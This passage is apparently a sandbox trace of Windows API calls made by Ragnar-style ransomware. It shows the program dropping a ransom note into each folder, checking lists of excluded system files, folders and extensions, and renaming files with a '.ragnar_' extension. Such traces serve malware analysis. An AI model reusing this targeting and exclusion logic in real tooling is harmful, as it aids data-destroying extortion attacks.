lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.557] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.557] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.557] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.557] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.557] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.557] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned=".mui" [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.557] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.557] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.558] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0058.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.559] CloseHandle (hObject=0xffffffff) returned 0 [0058.559] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" [0058.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.559] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.559] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.559] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2=".") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="..") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Windows") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Windows.old") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Tor browser") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Internet Explorer") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Google") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Opera") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Opera Software") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Mozilla") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="Mozilla Firefox") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="$Recycle.Bin") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="ProgramData") returned 1 [0058.559] lstrcmpiW (lpString1="zh-TW", lpString2="All Users") returned 1 [0058.559] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.559] lstrcpyW (in: lpString1=0x1eb62e, lpString2="zh-TW" | out: lpString1="zh-TW") returned="zh-TW" [0058.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\" [0058.560] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\" [0058.560] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\RGNR_FD7BD9FC.txt" [0058.560] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.562] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*" [0058.562] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.562] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.562] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75260800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.562] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75260800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.563] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.563] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75260800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.563] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.563] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.563] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.563] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75260800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75260800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75260800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x75260800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.563] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.563] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.563] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.563] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.563] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.563] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.563] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.563] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned=".mui" [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.563] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.564] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.564] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0058.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.564] CloseHandle (hObject=0xffffffff) returned 0 [0058.564] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" [0058.564] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.564] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.564] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.564] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0058.565] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0058.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0058.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0058.565] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.565] lstrcpyW (in: lpString1=0x1eb62e, lpString2="Alphabet.xml" | out: lpString1="Alphabet.xml") returned="Alphabet.xml" [0058.565] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned=".xml" [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="autorun.inf") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="boot.ini") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootfont.bin") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootsect.bak") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootmgr") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootmgr.efi") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="bootmgfw.efi") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="desktop.ini") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="iconcache.db") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ntldr") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ntuser.dat") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ntuser.dat.log") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="ntuser.ini") returned -1 [0058.565] lstrcmpiW (lpString1="Alphabet.xml", lpString2="thumbs.db") returned -1 [0058.565] lstrcmpiW 